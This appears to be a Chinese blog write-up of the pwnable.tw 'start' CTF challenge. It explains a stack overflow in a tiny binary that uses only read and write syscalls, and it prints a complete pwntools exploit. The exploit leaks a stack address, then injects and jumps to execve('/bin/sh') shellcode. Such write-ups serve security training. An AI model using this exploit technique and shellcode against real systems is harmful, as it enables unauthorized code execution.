首页 > 系统相关 >【pwn】pwnable_start --只有read和write函数的getshell

【pwn】pwnable_start --只有read和write函数的getshell

时间:2024-02-04 20:24:18浏览次数:26  
标签:getshell addr -- text pwnable mov io shellcode payload

首先查一下程序的保护情况

保护全关!!!

然后看ida逻辑

ida的结果很简洁,只有一段汇编代码,我们再来看看nc情况

现在我们来分析一下汇编代码

 mov     ecx, esp                        ; addr
.text:08048089 B2 14                         mov     dl, 14h                         ; len
.text:0804808B B3 01                         mov     bl, 1                           ; fd
.text:0804808D B0 04                         mov     al, 4
.text:0804808F CD 80                         int     80h                             ; LINUX - sys_write
.text:0804808F
.text:08048091 31 DB                         xor     ebx, ebx
.text:08048093 B2 3C                         mov     dl, 3Ch ; '<'
.text:08048095 B0 03                         mov     al, 3
.text:08048097 CD 80                         int     80h                             ; LINUX -
.text:08048097
.text:08048099 83 C4 14                      add     esp, 14h
.text:0804809C C3                            retn

这里就是用系统调用了read函数和write函数,然后看这个,写入地址都是esp,然后再根据add     esp, 14h可以发现偏移是0x14

这里的我是考虑用shellcode打,但是我们得有一个地方写入shellcode,也就是说我们得知道写入shellcode的地址

一开始看这段汇编代码,其实并没有可以泄露栈地址的地方,我们动调看一下

可以发现返回地址下面有存着栈地址,我们可以将它泄露出来

io.recvuntil(b"CTF:") addr=0x8048087 payload=b'a'*0x14+p32(addr) io.send(payload) stack_addr=u32(io.recv(4)) 首先0x8048087是上面08048087 89 E1                         mov     ecx, esp 的地址,该payload的目的其实就是跳回来再执行write函数,只不过此时的esp已经发生了变化,此时esp指向的内容就是上面标记的栈地址 shellcode=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' payload=b'a'*0x14+p32(stack_addr+0x14)+shellcode io.send(payload) io.interactive()  接着我们再次来到read函数,往栈上写入shellcode,然后继续构造payload,控制程序跳转到shellcode处进行getshell 完整exp: io.recvuntil(b"CTF:") addr=0x8048087 payload=b'a'*0x14+p32(addr) io.send(payload) stack_addr=u32(io.recv(4)) print(hex(stack_addr)) shellcode=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload=b'a'*0x14+p32(stack_addr+0x14)+shellcode io.send(payload) io.interactive()  

标签:getshell,addr,--,text,pwnable,mov,io,shellcode,payload
From: https://www.cnblogs.com/GGbomb/p/18006922

相关文章

  • 系统科学方法概论第二章读后感
    系统工程方法读后感系统工程不仅仅是一种技术或方法,而是一种全面、系统地思考和解决问题的哲学。它强调整体性、关联性和动态性,这在我看来是极具智慧和前瞻性的。我深受作者思想的启发,他们强调在处理复杂问题时,应避免简单化和片面化,而要深入挖掘各要素之间的内在联系。这一点在......
  • SharePoint Online 使用Ajax请求超过5000条数据的列表
    前言相信大家都遇到过SharePointOnline取数据的时候,列表数据超过5000阈值的情况,下面,我们介绍下如何利用分页获取超过5000条数据的列表。正文下面是源代码,主要有两个地方要注意,一个是最开始请求top=5000,告诉请求我们要分页。第二个就是data.d.next,如果这个返回......
  • 文件上传错误:Processing of multipart/form-data request failed. Stream ended unexp
    问题描述Processingofmultipart/form-datarequestfailed.Streamendedunexpectedly不通过网关,直接在本地debug是可以上传成功的,线上环境通过网关上传则会导致此错误,可能是网关修改了请求内容。解决方式前端将文件转换为base64字符串,服务端接收到再转换为字节数组......
  • 程序是怎样跑起来的日矢泽久雄 第三章
    第三章向我们详细介绍了计算机硬件的基础知识。CPU:作者详细解释了中央处理器(CPU)如何执行指令,并将其比喻为指挥家。他深入探讨了CPU中的寄存器、ALU和控制单元等组件的功能。内存:内存被形象地描述为舞台,存储着程序和数据。作者解释了不同类型的内存(例如RAM和ROM)以及它们如何......
  • 寒假第二周——训练总结
    题解1A题,给n个英文字母,你可以组成最长的回文串长度是多少?现在,请你利用程序帮助算出他能构成的最长回文串的长度是多少。用桶排的方法,记录字母的数量,然后把双数的数量×2,加上超过二的单数/2的奇数加1即可,需要判断只需要有一个超过2的奇数就在结果加一就行。A——A点击查看......
  • SharePoint Online 在文档库中置顶文档
    前言最近使用SharePointOnline的时候,发现一个很好玩的功能,就是置顶。正文选中一个文档,点击Pintotop,就可以置顶了,如下图:置顶以后的效果,对于一些关键文档,这个功能还是非常实用的,如下图: 结束语在SharePointOnline中,产品是不断迭代更新的,总......
  • JS——常用实例
    对话框输入,获取,计算,输出。<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><title>JS:操作HIML对象</title></head><body><!--1.两个输人框和一个输出框--><labelfor="1......
  • 学习记录20
    本次学习学习了spark的流计算相干概念静态数据和流计算静态数据:很多企业为了支持决策分析而构建的数据仓库系统,其中存放的大量历史数据就是静态数据,技术人员可以利用数据挖掘和OLAP(On-LineAnalyticalProcessing)分析工具从静态数据中找到对企业有价值的信息流数据:近年......
  • 《程序是怎样跑起来的》第三章
    我是现代信息技术学院的李燕飞,在计算机中小数的存储方式与上一讲述的数据存储方式一样,都是通过位权来实现的,只不过整数部分从个位开始是乘以2的0次方依次往下增;而小数则是乘以2的-1次方依次往下减。而小数之所以会在计算时失误,就是因为有些十进制小数无法用二进制精确的表示出来,......
  • 猜数游戏[USACO2008] Haybale Guessing G
    $Haybale\Guessing\G$(猜数游戏)解题报告\(Diffculty:\)\(\color{purple}省选/NOI-\)传送门1:(HZOIER)传送门2:(vjudge)传送门3:(luogu)题面为了提高自己低得可怜的智商,奶牛们设计了一个新的猜数游戏,来锻炼她们的逻辑推理能力。游戏开始前,一头指定的奶牛会在牛棚后......